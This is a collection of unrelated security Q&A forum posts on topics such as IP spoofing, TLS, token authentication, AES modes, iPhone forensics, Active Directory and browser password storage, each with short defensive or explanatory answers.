Can an attacker spoof an IP address to access my .htaccess protected file? Let's say I lock down my site through .htaccess and say

DENY FROM ALL
ALLOW FROM myip

how involved is it for a hacker to to simply spoof their IP address to match whatever mine is and gain access?

For that matter, is the .htaccess secure enough to lock down specific files/directories?

Remember that TCP/IP requires 2-way communication. Yes, someone can spoof an IP (with difficulty), but in doing so, they break the ability to receive replies.

Spoofing an IP is usually better suited to "fire-an-forget" scenarios like DDoS.


Securely transport secret token so it can not be used even if snooped? We are working on a school project that handles sensitive information (a password manager) that transit between a client which encrypt the data and a server which knows nothing about the data. In order to get the data, the client needs to authenticate through a username/password then gets a randomly generated token.

It will be a self hosted app, and our goal is to have something secure even if the user do not bother use HTTPS. So we want to make sure that if someone snooped the token, he would not be able to use it.

We thought that we could use a signed message through OpenPGP but this means that every message needs to be different, and older data need to be stored server-side so that replay attack can't be used.

This idea is clearly not the best. Does anyone have a better one?

TLS is designed to protect data in transport. I would recommend you to use it, since you are unlikely to come up with a better alternative on your own. Force all users (end users as well as self hosters) to use TLS, and never allow e.g. plain HTTP.

As a general rule, you should never try to implement "secure communication without TLS". Many have tried, few have succeeded.


How much protection does the Kill-Bit provide for ActiveX controls? I have some ActiveX controls that are not supposed to run in the browser but only in my particular Front-End. I know that by setting the Kill-Bit I disable their execution in Internet Explorer and MS Office applications.

That is following the FAQ given by MS Part 1, Part 2 and Part 3.
Now, I was assuming that ActiveX controls work only in Microsoft environments, as reported by Mozilla, but i noticed that I there are plugins Ex1, Ex2,... in the wild that let customers use ActiveX in Mozilla.

Therefore the question: Does the Kill-Bit cover these plugin cases as well? If not, what would be an alternative?

To my understanding the Kill-Bit mechanism is an opt-in mechanism for ActiveX. Programs have to explicitly support them. Microsoft's own documentation (link) states that the only way to blanket-kill an ActiveX control is with a Software Restriction Policy. Such a policy will restrict the execution of the ActiveX control by any process.


Bitcoin and criminals The Bitcoin System depends on anonymity, all money transactions are encrypted then recorded in the system. So how are criminals, who use bitcoin for illegal trading, arrested by governments?

Contrary to popular believe, Bitcoin is the exact opposite of being untraceable. Any transactions between wallets are stored safely, unchangeable and completely public in the blockchain and can be traced at a later date. By anyone - not just law enforcement.

What's left for law enforcement to do is to find out which wallet belongs to which person. The easiest way to do that is by following the money. When a user wants to do something with their bitcoins, they either need to exchange it into "official" currency or need to order some products from someone which are then delivered to a physical address. Similarly, anyone who want to buy something with bitcoins, needs to obtain these first, usually by buying them from some company with real money.

Any company with an official existence which takes or sells bitcoins can be used by law enforcement to obtain the identity of their customers.

Also, when a computing device with a wallet key is seized during a search, it is proof that the owner of the device is the owner of that wallet. Law enforcement can then look at the blockchain to find out if the owner had any transactions with wallets which are known to be involved in criminal activity.

If you want to make a financial transaction which is really untraceable, use good, old cash.


Web services API key I have a PHP server with some .php files. Swift iOS application send POST request to server and get some response in JSON. PHP files on server do some work with MSQL.

The question is:
How to provide good security when do some request?

I thinking to create some let API_KEY = "dakhye8k3id9" and send it with request to server. But is it secure? (Decompilers etc.). Maybe there is some other approach?

To give some string tokens is also not good idea because I store it in NSUserDefaults.

I am talking about call API from PHP server. In API I have request which add subscription to user. And parameters - userId and subscId. Anyone can add subscription knowing their userId and sbscId.

There are already a number of standard solutions for this type of problem, such as Javascript Web Tokens. The architecture for most of these solutions is fairly straight forward - you have an authentication service which authenticates the user and returns a unique token which is encrypted and contains information your service requires. The server owns the private key for this token. Your client then makes API calls and passes the token as a parameter in the API call. The service uses the private key to verify the token and possibly extracts additional detail from the toekn to verify authorisation etc. Often the token will have an expiration date as well as other data. What this additional data might be will depend on your application and what requirements you have. The critical component is to ensure your private key used to encrypt the token is secure.

It is also important to ensure whatever solution you adopt, that it fits with your application. The level of security you need will depend on your risk assessment and the extent to which things need to be protected. There is nothing worse for the user than being required to go through too much security compared to the value of the service being offered.

I would also recommend using an existing, well tested and understood solution rather than trying to re-invent the wheel. There are a number of libraries for both servers and clients to handle this type of requirement. These are not guaranteed to be 100% secure (nothing ever is). For example, there has been recent posts regarding security issues with JWT libraries. However, the fact that these frameworks are being tested and examined for security weakensses means you will likely get a better end result than writing something yourself which is not getting that added attention.


mitmproxy: Ignore host when ssl handshake fails I'm checking the network security of a device on my network, and I'm using mitmproxy. My device appears to be verifying the first couple certificates (mitmproxy keeps saying "Client Handshake failed"), but after a few failed handshakes, my device throws an error and stops (and understandably so). So I can't verify any of the other certificates, since the device stops communicating.

I could manually add each server to the ignore list as soon as I know it's good, but that would take too long (my device has many applications which access many different servers).

I would like to set up mitmproxy to put the destination on an "ignore" list as soon as a handshake fails. Is there a way to do this?

Turns out there is a way to do this. You just have to write an add-on script, and include the name of the script as an argument to the mitmproxy command. The methods in the script can control mitmproxy's behavior.

In fact, there's an example script in the Github repository that does the exact thing I wanted to do:
https://github.com/mitmproxy/mitmproxy/blob/master/examples/complex/tls_passthrough.py


Unusual potential vulnerability scan results in Apache logs Recently I've been seeing entries similar to the following in my Apache access logs. I've replaced the IP address and time with Xs:

access_log:xx.xx.xx.xx - - [xx/xx/xx:xx:xx:xx -0100] "GET /js/query-ui/js/?a.aspectRatio:this.originalSize.width/this.originalSize.height%7c%7c1%3ba=e( HTTP/1.1" 403 222

access_log:xx.xx.xx.xx - - [xx/xx/xx:xx:xx:xx -0100] "GET /js/query-ui/js/?a.aspectRatio:this.originalSize.width/this.originalSize.height||1;a=e( HTTP/1.1" 301 333

access_log:xx.xx.xx.xx - - [xx/xx/xx:xx:xx:xx -0100] "GET /scripts/query-ui/js/]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th
=F.td;if(!c.support.htmlSerialize)F._default=[1, HTTP/1.1" 404 338

Note that the requests different, and one of them responds with a 403, and the other a 301. There are actually a number of jQuery related scans from the same IP addresses. Almost always they respond with a 403.

The addresses all happen to be from countries that never use the website, and are definitely "unsolicited users".

I'm very frequently seeing this sort of entry. I couldn't find any reference to this attack in google.

My question really has two parts:

What is this attack attempting to do? Is there a compromise in jQuery, or websites setup to use jQuery?
Is there any particular worry? I'm guessing the answer here is "no", given that the requests are mostly 400 level, with the occasional 300 level. However, are there security measures I should look into to make sure that this sort of attack cannot succeed?

IP Addresses:
They come from a variety of IPs. I've included a sample here. Because of the variety, I assumed they were compromised machines (i.e., a botnet) but I'm not sure.

133.50.201.25 (Japan, University domain)

89.29.175.68 (Trinidad and Tobago, root domain seems to be for a non-profit)

190.156.227.11 (Colombia, not sure what type of domain).

78.250.250.243 (France, no host info appears to be available)

I've seen others from Italy, Spain, etc

Nothing to worry about.

This is regular internet noise, there are a lot of robots on the internet scanning the internet, even doing full IP traversals from 1.1.1.1 to 255.255.255.255 so even if your domain name is known only by you, someone will eventually scan your IP address.

Since the logs are calling javascript files there's nothing to worry about. Apache2 doesn't execute javascript code before rendering it, it just transmits the file as-is so there is no vulnerability to exploit through that vector.

The machines from where this comes can be anything, not necessarily from the same botnet, most unlikely so. They weren't interested in your site particularly, they just scan the entire internet and storing information, versions, etc.


WhatsApp e2e encryption when forwarding video files If someone sends me a large video file on WhatsApp I believe it is compressed and encrypted. I believe it can only be decrypted on my device with a key that never leaves my device.

If I was to forward this file to another person I would expect it to be encrypted again and re-uploaded from my device. However, the forwarding seems to happen very fast almost instantly as if being forwarded straight from the server.

Any idea how the forwarded party can see the video when it was forwarded straight from the server? Or is it actually uploading from my phone and I am underestimating the speed?

It is likely implemented something like this*:

Alice sends video to Bob

Alice generates a Data Encryption Key (DEK) uses it to encrypt the video
The encrypted video is uploaded and given an id
Alice sends the DEK and video id to Bob using the normal end to end encrypted channel
Bob retrieves the video from the server and uses the DEK to decrypt it

Bob forwards the video to Charlie

Bob sends the DEK and video id to Charlie using the normal end to end encrypted channel

As you can see, this means the video encryption isn't the same as the normal end to end encryption used, but has the advantage that it can be further shared simply by sharing the key and video id, eliminating the need to re-upload the video. This does leak some metadata, as the video host will be able to see that different people are downloading the same video.

* I don't know how it's actually done, this is a guess based on your observation that forwarding is instant


Breaching security of a notebook with full disc encryption when screen is locked I am using full disc encryption on my portable computer (running Ubuntu). The setup requires me to enter a password during the boot sequence to access fully encrypted hard drive. There is no additional encryption of my home directory or even a login for X session required (I'm the only user).

When I move around with my computer, I usually do not turn it off completely, only suspend it. This operation starts a screen lock on the X session before the PC is suspended. There are other text consoles available that do require login with my username and password (but no SSH server).

I've seen people (usually with setup that encrypts only their home directory) that wipe the disc encryption key from memory when the screen is locked. I find this solution quite drastic, since sometimes I want to leave some programs running on the background that need access to the disc or my home directory (e.g. a file downloading in a browser while I go for a lunch and lock my screen).

In case my PC would be stolen, is there a way an attacker would be able to gain access to the files on my computer without my password? Generally, the screen locking is frowned upon as a weak security measure because "it's just a screen lock", yet I failed to come up with any reasonable scenario how a potential thief would be able to gain access to my data if he would steal my suspended computer with a locked screen. He doesn't have any way to control my computer without my login password and any attempt to power it off and look at the hard drive directly would leave him with encrypted drive inaccessible without my disc encryption password.

Can anyone point out any weakness in this setup, and if you do, how to make it secure?

Can anyone point out any weakness in this setup, and if you do, how to
  make it secure?

Hardware solutions exist which can grab your system's memory without needing your login.  And that's pretty much the weakness - if someone can get access to your system's memory, those passwords (or, at worst, the keys formerly unlocked by those passwords and still in use) can be captured by your opponent, who will then use them to access your (probably imaged) disk at will.

So it's a question of your risk profile and how paranoid you are.  If you're running the Silk Road, then you shouldn't ever step away from a running laptop (and, quite frankly, after you shut it down you should shake it around and let it cool for a few hours before walking away from it.)  If you're working for Shower Widgets International, you probably don't have so much to worry about.  If you're a grad student... then you need to worry again.


Information leakage through json response I am testing a product survey website. As a response to getSurveyResults() call, the following details of all survey participants shall be displayed to all website users.

Nick name
Location
Rating
Comments
Age

However, in results json, I could see the following additional fields for each survey participant.

Order ID (product purchase ID)
Survey questions and answers such as married or not, number of pets etc
Incentive received to write review
Locale

Though these are not PII, does this come under data leakage issue?

If there is unauthorised access to data due to the way the process is designed, then that, by definition is "data leakage".

There might be no impact by having the data leaked, depending on the type of data, or the designers might have classified the access type as effectively "authorised" because they deem it "public data", but that's a separate issue and a separate assessment.

If you can show that there is a negative impact to this leakage, then the severity increases. For instance, knowing the age, location, demographic survey questions, and order history would be enough to trigger many jurisdiction's data privacy laws (because it might be enough to uniquely identify someone). But that's situational and requires some context to assess.


how to verify file signature by client PGP Currently working on verifying and signing a file via GNUPG, given that I've already signed a file, given the clients the .sig and public key, is there a way for a client to verify the file without downloading any additional software? Currently using Cryptophane from GNUPG http://www.gnupg.org/related_software/frontends.html

As per my experience, additional software are required.


Should AES always give the same output? I'm having trouble understanding AES and would like to know if encrypting the same text with the same key two times in a row should give the same output.

Is there any salt or something that would change the ouput?

If it doesn't give the same thing, how could one decrypt the message (with the key) if the salt is random and he doesn't know it?

If it gives the same thing, could rainbow tables be used to recover the message?

A blockcipher like AES is a keyed permutation. In the case of AES it takes a key and then turns a 16 byte block into another 16 byte block deterministically.

To encrypt something with a block-cipher you need to use a mode of operation. Typically those modes take an IV (similar to a salt) which should be different for each message you encrypt. This difference in the IV leads to a totally different encrypted message. Encrypting the same message with the same IV and key returns always the same ciphertext. Encrypting several messages with the same IV and key weakens security, but by how much depends on the mode.

The required properties for an IV depend on the chosen mode, sometimes it needs to be unique(e.g. for CTR mode), sometimes it needs to be unpredictably random (e.g. for CBC mode). But it generally doesn't have to be secret, so you send it to the recipient alongside the ciphertext, typically as a prefix.

There are some modes designed for deterministic encryption. Using those modes you still leak if two messages are the same, but nothing more. You should only use those modes when you require determinism.


What are the use-cases for Hashicorp Vault PKI? Hashicorp Vault has facility to auto generate server/client cert for authentication. https://vaultproject.io/docs/secrets/pki/index.html

While it makes sense from certificate management point of view, I am having difficulty seeing the actual use case for it? E.g. IPSec/L2tp uses certificate for authentication, but that's so much fluffing around. (Auth against vault, download cert, set up vpn. For every single time.)

I can see that being useful in a custom developed application, but don't see its usefulness outside of that. Are there use-cases that I'm missing?

Conceptually, Vault is similar to Netflix's Lemur. They both simplify the the process of obtaining a certificate by having the server-side (i.e. Vault) generate key-pair, generate CSR, sign certificate - returning both the certificate and associated private key.

Use case: many companies mandate their developers and testers configure their test or development servers with HTTPS, which require certificates. Here the reason for requiring HTTPS is not for security, but to ensure development and testing more accurately reflects how their products are configured in production. In such cases, the convenience of being able to quickly obtain a certificate outweighs the security concerns of private keys transmitted over the network.

The aforementioned Lemur blog post nicely illustrates the complexity of obtaining a certificate via the regular CSR procedure:

Whereas Lemur (and Vault) simplifies the process at the expense of some security:


What possible attacks might occur on a SQL Server TCP/IP port? We have a VPS that contains a SQL Server Express instance.
Using SQL Server Configuration we have enabled TCP/IP to listen on a random port, say 5741.
We have disabled sa and created another user with a very complicated username pattern, say HlsvslEWlajxcqpe and also a complicated password.

Is this enough security to access this SQL Server instance from anywhere on the Internet using SQL Server Management Studio?

What security risks do we need to take into consideration to make this instance more secure?

These questions helped a little, but they are different problems:

Compromised server name and port number of a SQL Server DB Server
Online SQL Server database for a Business app. Security considerations
Is sending plaintext passwords to a SQL Server database a security risk?

"and created another user with a very complicated username pattern,
  say HlsvslEWlajxcqpe and also a complicated password."

This will mitigate brute force efforts, but won't help you if someone manages to inject code in your application that exposes where these credentials are stored. They will be able to log right in, presumably from anywhere.

For starters, you need to block all access to this port from all hosts except those related to your application.


Mount Iphone for Forensic Analysis or Take Forensic Image How do I mount my iphone to look at it's files forensically? I have FTK Imager (the only free program I could find) but it doesnt mount it as a drive and I can't seem to take a forensic image of the iphone. I am looking to get the cell tower logs (Cells.plist) file and I cant find a program or method to do it.

The phone is not jailbroken and I do not want to do so. I have tried FTK on the windows PC with no luck. I have tried many things on my mac but no dice. Moreover, I cant seem to get the iphone to display in 'devices' on the mac either (although the Iexplorer program works but just not accessing the real good files).

What am I not understanding here? Is there a way to take an image of the iphone itself (and not just its storage partition)?

Edit: Tools like Oxygen, AccessData, Encase, etc supposedly allow the more in depth analysis (such as the cell tower logs) but I cannot find a solution that is not thousands of dollars! Also, Oxygen has a 'free' version but that only allows access to the crap you can find with Iexplorer anyway...

You can try with iFunBox or iExplorer, but the really juicy stuff isn't available that easily.  Most forensic tools go through a process which involves having the iPhone do a backup through iTunes, and then the tool will analyze the files stored in the backup.

Without having forensic tools available, you can try one of many tools like this:
https://code.google.com/p/iphonebackupbrowser/

This will let you browse the files inside the backup.  Realize that everything might not be available because Apple is the gatekeeper.  They decide what files to stuff into the backup.

Edit:
You cannot think about an iOS device as a drive.  Android works as a drive because its design allows for us to grab a drive image.  iOS is designed to only allow you access to what they decide you should.

There are many forensic tools that support physical acquisition***.
http://elcomsoft.com/eift.html (see the chart at bottom)
http://www.oxygen-forensic.com/en/compare/devices/software-for-iphone (statements at bottom)
http://www.cellebrite.com/mobile-forensics/capabilities/ios-forensics (expand support section at bottom)
All of these tools have exceptions that state you cannot acquire a 4S or newer.  There is an exploit in the non-updatable bootloader code on the 4 that allows physical acquisition, otherwise it would be a no-go as well.

You can read through Apple's security design and see why we have such difficulties.
http://images.apple.com/ipad/business/docs/iOS_Security_Feb14.pdf

The iTunes backup is the most forensicly sound method of acquiring data from iOS because it uses the phone to do what it is programmed to do naturally.


Smartphone fingerprint plus iris scanning for login I have often thought about the fact that when intimate relationship partners live together they eventually tend to sneak over your shoulder and gain access to your password on either your mobile phone or your pc.

Furthermore, swipable screen locks have been invented on smartphones because people get fed up typing the password each time, but these are easier to observe and break.

So, with fingerprints this problem is partially taken care of, but what if, while you are asleep, your partner grabs your phone and finger and uses it to unlock your phone, and then read, or even modify, or even delete your data?

For this reason, I was thinking a solution would be a simultaneous fingerprint reader and iris scanner to make sure you are actually awake while unlocking and using your phone.

Has this been implemented anywhere?

What other solutions to this problem might be available?

Thanks.

Mobile phones doesn't use retina scanning.  The retina is the back of the eyeball (something only an optometrist would see if your eye was dilated), or you used a very specialized scanner.

Some new phones support iris recognition, which is the pattern of the surface of your eye made up on unique features such as blood vessels.  This would prevent the issue you're concerned about (access while not awake).

I'm not aware of any phones that support requiring multiple methods of authentication to unlock the phone.  Many phones offer the ability to unlock the phone via a biometric feature (face, finger, etc.) in addition to a PIN (in case the biometric fails).


How does Windows Active Directory verify a computer's identity? It seems a simple question but I can't find the answer on Google or Windows support pages/forums.

If a domain administrator decides to remove the automatic right for domain users to be able to add up to 10 computers to a domain using the 'add workstations to domain' right then how does Active Directory know when one of those actual computers is attached/attaching? I'm assuming it's not just based on name as it is easy to rename your computer to anything so that would easily defeat the security control of denying the user the ability to add new computers (i.e. computer accounts) by just renaming a new computer to the same as an already authorised one.

Does this computer verification require a predefined key or token to be present on the computer attaching to the domain?

Like most entries in the Active Directory the computer accounts have a globally unique identifier (GUID) that serves as the primary way their object is identified.  The computer name is a property of the computer account object, and like you said it can be changed. But the name change doesn't change the GUID.

Domain member computers are also Kerberos principals in the AD, which means that domain controllers have an associated account password hash they can use to authenticate the computer when it comes online.  This password is associated with the computer account object, so renaming it doesn't change this.

Renaming a computer could potentially cause some DNS problems, but the renamed computer still won't have the right password for the computer account it is trying to impersonate.  So from an AD perspective it is clear the computer isn't who it says it is.


XSS on <script src="" I'm trying to solve @kinugawamasato xss challenge

https://vulnerabledoma.in/xss_2020-06/

It's a php script that receives a argument, escapes it and create he following tag on the html:

<script src="/xss_2020-06/check_code.php?callback=callback&amp;code=PARAM"></script>

So PARAM is the argument. The maximum payload is 10 chars

This is not a platform to solve CTF excercises.
Still I had a look and will give you a hint:

When requesting check_code.php?callback=callback&code=PARAM you pass two arguments.

Your result is callback("Invalid code: 'PARAM'").
Don't focus too much on the code parameter.

It's a very easy CTF task


Cisco ASA Security Contexts: Any Real World Installs? We are looking at deploying a Cisco ASA 5520-I am looking at the security contexts feature, and was wondering if anyone has deployed their ASA in this way, and how it is working out for them.

Have you encountered anything that you wished you would have known before you deployed it?

Have you noticed any performance issues?

Is there anybody actually using this feature?

-Josh

Context works great, what you want to know before deploying it is the unsupported feature in context mode: http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guide/contexts.html#wp1146747

I never see any performance drop when enabling context mode


What is the logic behind Microsoft recommending that creation of "god group" / Tier -0 in their Red Forest model for AD? Creating a Tier-0, which is basically a "God Group" in Red Forest AD model seems a bit off to me, so I was wondering about its logic.

Tier 0 is where the crown jewels are kept.  Specifically, forest and domain administration privileges.  If you isolate those activities and accounts that have that level of access to Tier 0, you can isolate use of DA privileged accounts to that forest.  Thus, an attacker who compromises a Tier 1 (server) or Tier 2 (workstation) can never harvest DA creds from one of those machines and elevate to that level.

It's a way to limit an attacker's ability to move laterally within the network to some degree, but more importantly to limit their ability to elevate to an account that would allow them to own the entire network.

A more comprehensive overview can be found here: Active Directory administrative tier model if you would like more in-depth information.


What is wrong with physically exchanging certificates instead of handshake? Organization XYZ prefers not to trust any CA but only itself. It has set of certificates which are physically stored on each client and server which are trusted again only by their Enterprise CA. All inside Browsers are set to trust this Enterprise CA. So, naturally, all other web sites (like Google) are not trustworthy which is indicated by browser.

All other programs (Java, Node.js, .NET, etc.) keep subset of required certificates and use them to connect each other.

What is wrong with this picture? What arguments should be used to convince management to use common practice?

After all management says - we trust each other and those who want to work with us should trust us. There is no other way to communicate for us.

Question clarification:
Maybe I'm wrong but I feel that explained solution is wrong. I just cannot convince management that this is wrong and I asked community to give me some arguments.

Personally (taking in account described in answers extra cost) I see only one problem - since all external sites are already marked as not private/dangerous regular user will pay no attention to such warning. It became not warning but common knowledge that web is dangerous and surfing is your own risk. Worst part - we trust only internal net but since individual computers are more vulnerable any break to any computer will expose entire internal network since it trust itself.

Actually, to be honest, that's not my problem at all. My problem is that when I try to use any other standard approaches or programs (like example Node.js tries to reach internal web api) it (as honest program) says - "self signed certificate in local chain" and refuses to access this connection. So, for me it's nightmare (or actually cost) to find solution for each program (Node.js, Java, VuGen, QTP, .NET, etc) obtain certificates and keep them in sync.

My question is what are the arguments I can use to convince management that this solution is wrong.

Organization XYZ prefers not to trust any CA but only itself.... All
  inside Browsers are set to trust this Enterprise CA. So, naturally,
  all other web sites (like Google) are not trustworthy which is
  indicated by browser.

  What is wrong with this picture?

What's wrong is that Organization XYZ is using the wrong enforcement point.

If they don't trust the outside world, then they should remove outbound web proxies and ensure firewall rules disallow all access outbound on ports 80/443.

Or they could implement a draconian proxy with TLS MITM which limits access to only those external sites they consider legitimate.  (And if they do that, of course, they should again trust the outside certificate authorities, as access to approved sites is being enforced by the proxy, not at the TLS certificate layer.)

If Organization XYZ isn't willing to take these - admittedly quite drastic - steps, then they need to seriously reconsider why they're stigmatizing what is - by their own admission - acceptable access.  Because by distrusting all other CAs, they're placing Extended Validation certificates on the same level as Self-Signed Snakeoil certificates.  If you're going to throw that away, you should just block everythi.... oh, wait, that was step 1.


Should I close other programs as I pay bills? In my country, I can pay bills via Internet bank. Is it preferable to close any other softwares than browser if I pay bills or does it matter if some other programs or browser tabs are on while paying?

The main risk you are wary about is "Cross Site Request Forgery". It used to be a big risk until most frameworks started including defenses against it using an anti-CSRF token / technique with/in their session cookies. There are a few other risks for which it won't matter whether tabs are open or not (HTTP-Only Cookies with Secure flag).

That's the theory. Your actual risk depends on whether your bank implements these security protections in their Internet Banking software.

Checking whether they use some of these is not too difficult (e.g., OWASP ZAP reports on the use of secure cookies). Yes, if you want to be sure, you could close other browser tabs. You should know that it would still leave out a few risks.


Prevent Users from Downloading Javascript, Images A lot of times I see that resource XXXXX.gif or XXXXX.js can't be saved when I try to save a webpage in Firefox.

So this made me think, can I implement a similar thing for my website as well?

Basically, I am interested in knowing what prevents a resource from being saved locally, but while still allowing the browser to load it?

If it has been loaded into the browser, it has been downloaded to your computer's memory. The webpage might attempt to stop you from saving an image (by e.g. disabling right click?) or similar, but if you go into the source of the webpage, you should always be able to find the location of the image or the .js file; if you can load it into the browser, I'm pretty sure you can't block it from being accessed as such and therefore saved. If nothing else, you could scour your computer's temporary files to find the file you're looking for.

I know this isn't really an answer to your question ('How can I stop people doing this'), but I think necessary to point out.

Think about this: if you can't download it, how can the browser display or execute it?


What is an appropriate auditing standard for a law firm? I'm an IT Admin at a law firm. We handle sensitive customer data and some health records. I'd really like to have an outside consultant assess our data security practices, but I'm not sure what to ask for.

I realize that the real answer is "It depends based on which regulatory framework you fall under, HIPAA, SOX, PCI-DSS etc."

But my question is to the community, does there exist a general security standard that would be appropriate for a general office setting?

We don't specifically fall under any of the previously mentioned regulatory frameworks, but doing nothing isn't a good option either.

Both answers above are bang on the money, but I'd just like to add the following caveat.  I run a regulatory services company and I got us certified to ISO 27001.  The one thing I would communicate to anybody thinking of becoming certified is to remember that being certified to a standard is not like acquiring a magic talisman that wards off all evil (and lawsuits).  Because these standards are not compulsory and the certification is voluntary, your protection in court against legal redress always boils down to due diligence.

In other words, if a magistrate thinks that you've given confidential information undue exposure then you are going to be screwed, regardless of whether you have ISO 27001 or not.  However the point of certification, and this is really important to remember, is that to get it you must be totally methodological and careful and list all of your liabilities, and assess them, and address these with remedial actions.  This means that at the end of the certification process your company is going to be a lot more vigilant and 'hardened' to borrow a sysadmin term.

I'm biased towards ISO 27001 as opposed to SOX etc. because it's generally accepted that the ISO covers the requirements for practically all the other standards.  PCI has a few quirks, such as separation of processing facilities and other standards may be prescriptive about particular things, but you can still impliment these within an ISO framework, and you'll probably do a better job of it at the same time.

One final point that has also been mentioned tangentally already, is that a good risk-assessment based system will save you money.  Before I started doing it, I wanted the most expensive firewall, the smartest card reader, the perfect multi-site failover and would sweat over specifications.  But when you've done a proper risk assessment, you start to realise that actually you are never going to totally remove risk, so by the law of diminishing returns you are better off spending your money wisely than aiming for the ultimate protection.  At the end of the day, one you're biggest vulnerabilities is your employees.  So save your company money and organise some staff training sessions.


Passive fingerprinting of DNS client Given a network trace that includes DNS request packets, is it possible to infer or guess which DNS client send those requests?

In other words, consider a network monitoring box that can see all the DNS packets sent from/to a particular host. Can make a reasonable guess at the DNS client that's being used, based only on what is visible in the network trace?

I know there are methods for passively fingerprinting the client OS; here I'm wondering whether there is something analogous for DNS.

Most applications that issue DNS queries do so through common OS-specific libraries. There was a recent vulnerability that impacted multiple linux distributions:

https://access.redhat.com/articles/2161461

There is a body of work on fingerprinting OSes by the DNS traffic they initiate, e.g.

http://intrusion-detection.org/papers/Matsunaka13DNSFingerprint.pdf


What's the recommended way to store at-rest, symmetrically encrypted customer data? I have a requirement to store at-rest, symmetrically encrypted customer data in a database. What's the latest recommended way to do this? My research has led me to this:

Generate 8 random bytes for a salt
Generate PBKDF2-HMAC-SHA1 using OpenSSL with the salt from step #1, customer password, 2^16 iterations, and a key size of 32
Encrypt the data with AES-256-CBC using OpenSSL using key from #2
Create an HMAC/SHA1 digest using OpenSSL of the encrypted data from step #3 and the key from #2
Store the encrypted data and the digest in the database either as two separate fields or a single blob with the two items concatenated together by a delimiter
Execute the above in reverse to decrypt

What you are proposing sounds reasonable.

The salt is on the small side of sufficient but still adequate. Increasing it to 12 or 16 bytes wouldn't likely hurt (salt length isn't closely related to performance) and may make the system a bit more secure.

As far as number of iterations, the advice is as many as you can tolerate. So increase the number of iterations until performance becomes a problem.

A key size of 32 sounds great.

It is unclear to me if you need the digest created in steps 4 and 5. Your comment mentions a concern about tampering during transmission, but if you are using SSL (and if you're not then you basically have no security), the transmission should be secure. So I don't really see a need for it. Especially if you are storing and transmitting the encrypted data and digest together. Perhaps if you stored the digest on a separate site, it could help prove that there wasn't tampering (intentional or otherwise). But I don't see it helping in your situation.

While you probably just didn't bother to mention that you are saving the salt in your question, I'll mention that you must save it so that you can recreate the 32-byte encryption key for decryption.

Generally, this sounds reasonable.


Privacy concerns with the iOS Freedom app Could the owners of the iOS Freedom app be snooping on its users, seeing what sites they browse or even what info they send or receive?

I would really like to use this productivity enhancing app, but I am afraid that there might be some privacy concerns.

Technically I think they use a VPN solution on the iPhone to be able to block routes to for instance chosen productivity stealers such as Facebook.com.

I'd love to hear some feedback from security/privacy experts out there.

According to this info from their homesite they can't be snooping: http://support.freedom.to/article/114-freedom-privacy-questions-answers

Yes, of course they could be. If they are to believed (which I do), they are just using a 'local VPN' which is pretty common in ad blocking apps on iOS. These apps have the full capability to tunnel your data off to wherever and you'd be none the wiser. They use the iOS VPN extension system so they can decide if they want to block or drop a connection. The VPNs, unless you install a certificate, cannot decrypt your SSL traffic because it is encrypted before it reaches the VPN interface.


Identifying torrented files by reversing info_hash I've been lead to believe that if you decode the info_hash in a tracker GET request, you are left with the SHA1 hash of the file that is being downloaded.  That makes sense to me but I'm not getting results here.  Does anybody have any experience with this?

info_hash=%ab%10o%22%a8%b0%e2%a4p%27%e2U%d3j%d1F%a0%f7%05%27

This is what I'm currently working with.  Clearly this is URL encoded yet URL decode gives me absolutely nothing to work with.  Where am I going wrong here?

Any help is appreciated.

Nope, you can't easily get the file hash from the infohash.

  The “infohash” is the SHA1 Hash over the part of a torrent file that
  includes:

  ITEM:  length(size) and path (path with filename)
  Name: The name to search for
  Piece length: The length(size) of a single piece
  Pieces: SHA1 Hash of EVERY piece of this torrent
  Private: flag for restricted access

(See https://stackoverflow.com/questions/28348678/what-exactly-is-the-info-hash-in-a-torrent-file)

If you have all the other components (such as the name of the torrent), you can combine it with the data in each file you are checking, hash the whole thing, and then check if the result is the correct infohash.


Firefox: What would be more secure/private: storing session cookies or saving password in the browser? I am wondering, assuming the latest version of Firefox, which of the following options would be more preferable security-wise (e.g. assess and/or password to user account will be stolen) and which one privacy-wise (exposing user to the least advertisement tracking etc.):

Storing session cookies (i.e. logging in and never logging out), but not saving password & username in browser built-in Password Manager.
Saving password & username in built-in Password Manager (without Master Password) and setting cookies and site data to be cleared when browser is closed.

P.S.: I am aware that using Master Password for password storage will increase security of the stored passwords. Though I am not wondering how to improve given options, but would like to asses them "as is".

I would argue that storing passwords in the browser is more secure than using cookies and staying logged in. But the best option over here would be to have your cookies deleted after every session and using a 3rd party password manager extension like lastpass with a strong master password for managing your login credentials.


Protect password/authenticating during transit over (insecure) TCP socket for a game Background

I am designing a multi-player game with a single server that handles multiple worlds. Each player logs into the server initially before requesting which world to join.

The server has a fixed IP address that is currently the same as the site's IP address. This may change in future if servers need to be ran in parallel, however as of now it is a safe assumption that the server is, in fact, the server, and not an imposter.

Passwords on my site are hashed using bcrypt and a salt, and stored in a MySQL database.

I do not currently have an SSL certificate, though I am planning to get one ASAP and certainly before any payment details are handled by the site, but the game is still likely to be connecting over an open TCP connection, so my security needs with respect to authenticating game users needs to be handled manually.

Audience

The main audience of the game is young teens, but particularly those able to write a little code, so I can expect a small amount of them to be relatively competent programmers and a smaller subset to be able to reverse engineer and break into an insecure system.

My currently considered approach

I spent a while thinking about this issue myself and came up with a solution that appears to be classified under a "Challenge-response" algorithm, that is:

Client sends username
Server receives & verifies username, and sends a request for
password data along with a unique token. My current idea for this
unique token is to generate a random string, MD5 it, then prepend a
unique, incrementing integer to ensure both that the same hash is
never sent, and that it is not predictable.
Client receives token, hashes password using bcrypt with the known
salt to get the value in the website database, and then appends the
token before running it through bcrypt again.
Client sends back this new hash over the socket
Server reads this, verifies it, and notifies the client that it is
now authenticated as the username they initially sent.

Aims

No device but the true client and the server should be able to find out the password, or authenticate by eavesdropping for exchanged sensitive data.

Worries

I have a particular issue with this approach in that now the secret salt I have been using on my web-site to hash passwords is going to have to be known by clients. I am struggling to think of a reason this is compromising to my security, but it feels wrong. I suppose, in theory, they can now pre-generate rainbow tables then if they managed to obtain a copy of my database, there would be a much lower amount of time between them obtaining it, and cracking a decent number of user's passwords, meaning that my users accounts are at a larger risk as they will have less warning should anything happen.

Outside of this, though, I also would appreciate greatly an evaluation of my considered approach and any pointers or links that may be helpful to securing it more.

I am more than happy to answer any questions!
Thanks!

As Martin suggested in the comments, I would highly suggest using TLS. Even if your audience is young teens, disclosing the salt to the client is not a good idea.

